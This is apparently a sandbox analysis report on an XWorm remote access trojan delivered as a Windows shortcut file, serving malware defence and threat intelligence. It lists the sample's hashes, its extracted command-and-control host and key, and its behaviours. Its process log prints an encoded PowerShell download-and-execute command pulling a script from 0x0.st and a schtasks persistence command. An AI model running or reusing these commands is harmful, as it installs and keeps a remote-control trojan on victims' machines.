Recorded Future® Triage

Submit Reports

Overview overview 10 | Static static 1 | nTalu.lnk windows7-x64 3 | nTalu.lnk windows10-2004-x

Report | Analysis Logs

Download Sample
Download PCAP
Download PCAPNG
Feedback
Print to PDF

Analysis

max time kernel
148s

max time network
152s

platform
windows10-2004_x64

resource
win10v2004-20240730-en

resource tags

ARCH:X64
ARCH:X86
IMAGE:WIN10V2004-20240730-EN
LOCALE:EN-US
OS:WINDOWS10-2004-X64
SYSTEM

submitted
31-07-2024 07:41

Sharing

Copy URL
Twitter
E-mail

General

Target
nTalu.lnk

Size
2KB

MD5
79b6a1c72f61bf2358eca72f4d67b4d7

SHA1
22c3540ce90d11b32b0a9c2eae94ae467af2aabf

SHA256
ee3dad6434cb64d091d15fda5900d088f46b64d0603a449d6bd46afb9705140a

SHA512
839fb585a20812324f4058cb2e354be77b243c212fcf35e1c16fb2668a266cbeb784844512e0aa15e6077cf2570e88b04bb986164f4972e1bc63a61576967d6e

Score
10/10

XWORM
DISCOVERY
RAT
TROJAN

Malware Config

Extracted

Family	xworm
Version	5.0
C2	lisa22194141.duckdns.org:7000
Mutex	2tuao2989c3EVwzo
Attributes	**install_file** USB.exe

aes.plain

1	ILtMSLiA4CCqXO+GmOPPsg==

Signatures

Execution | Persistence | Privilege Escalation | Discovery

Detect Xworm Payload • 1 IoCs

Xworm
Xworm is a remote access trojan written in C#.

Suspicious use of SetThreadContext • 1 IoCs

Enumerates physical storage devices • 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Location Discovery: System Language Discovery • 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

DISCOVERY

Scheduled Task/Job: Scheduled Task • 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.

PERSISTENCE EXECUTION

Suspicious behavior: AddClipboardFormatListener • 1 IoCs

Suspicious behavior: EnumeratesProcesses • 3 IoCs

Suspicious use of AdjustPrivilegeToken • 2 IoCs

Suspicious use of SetWindowsHookEx • 1 IoCs

Suspicious use of WriteProcessMemory • 25 IoCs

Processes

C:\Windows\system32\cmd.exe — PID:4332

```
cmd /c C:\Users\Admin\AppData\Local\Temp
\nTalu.lnk
```

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe — PID:2812

```
"C:\Windows\System32\WindowsPowerShel
l\v1.0\powershell.exe" -W h -e JAB4AG
MAZQAgAD0AIAAnAHgAJwA7ACAASQBlAHgAKAB
JAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwAwAHgA
MAAuAHMAdAAvAFgAZgBJAFQALgB0AHgAdAApA
DsAIAAkAHgAYwBlACAAPQAgACcAeAAnAA==
```

C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe — PID:928

```
"C:\Users\Admin\AppData\Roaming\Xov
wDNpiRZKtFFANLO.exe"
```

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe — PID:3108

```
"C:\Windows\Microsoft.NET\Framewo
rk\v4.0.30319\RegAsm.exe"
```

C:\Windows\SysWOW64\cmd.exe — PID:1216

```
"cmd.exe" /C mkdir "C:\Users\Admi
n\AppData\Roaming\svchost"
```

C:\Windows\SysWOW64\cmd.exe — PID:3212

```
"cmd.exe" /C schtasks /create /sc
minute /mo 1 /tn "Nafifas" /tr
"'C:\Users\Admin\AppData\Roaming
\svchost\svchost.exe'" /f
```

C:\Windows\SysWOW64\schtasks.exe — PID:2932

```
schtasks  /create /sc minute /m
o 1 /tn "Nafifas" /tr "'C:\User
s\Admin\AppData\Roaming\svchost
\svchost.exe'" /f
```

PID:4832

PID:2172

```
C:\Users\Admin\AppData\Roaming\svchost\s
vchost.exe
```

Network

Requests | TCP | UDP

DNS	0×0.st	POWERSHELL.EXE	
GET	https://0×0.st/XfIT.txt	POWERSHELL.EXE	
DNS	g.bing.com		
GET	https://g.bing.com/neg/0?action=emptycreativeimpress...		
GET	https://g.bing.com/neg/0?action=emptycreative&adUnit...		
GET	https://g.bing.com/neg/0?action=emptycreativeimpress...		
DNS	117.145.119.168.in-addr.arpa		
DNS	72.32.126.40.in-addr.arpa		
DNS	237.21.107.13.in-addr.arpa		
DNS	43.58.199.20.in-addr.arpa		
DNS	240.221.184.93.in-addr.arpa		
DNS	14.227.111.52.in-addr.arpa		
DNS	lisa22194141.duckdns.org	REGASM.EXE	
DNS	83.52.172.163.in-addr.arpa		

MITRE ATT&CK Enterprise v15

Replay Monitor

Downloads

C:\Users\Admin\AppData\Local\Temp__PSScriptP...

Filesize	60B
MD5	d17fe0a3f47be24a6453e9ef58c94...
SHA1	6ab83620379fc69f80c0242105dd...
SHA256	96ad1146eb96877eab5942ae0736...
SHA512	5b592e58f26c264604f98f6aa1286...

Download

Submit

C:\Users\Admin\AppData\Roaming\XovwDNpiRZK...

Filesize	21.0MB
MD5	7d65fe5871d783fdd6c912675a28...
SHA1	2f2c294c04d7bdf7953562d263c6...

Download

Submit

memory/2812-8-0×0000016867650000-0×0000...		Download
Filesize	136KB	
memory/2812-15-0×00007FFA3D403000-0×000...		Download
Filesize	8KB	
memory/2812-16-0×00007FFA3D400000-0×000...		Download
Filesize	10.8MB	

Recorded Future®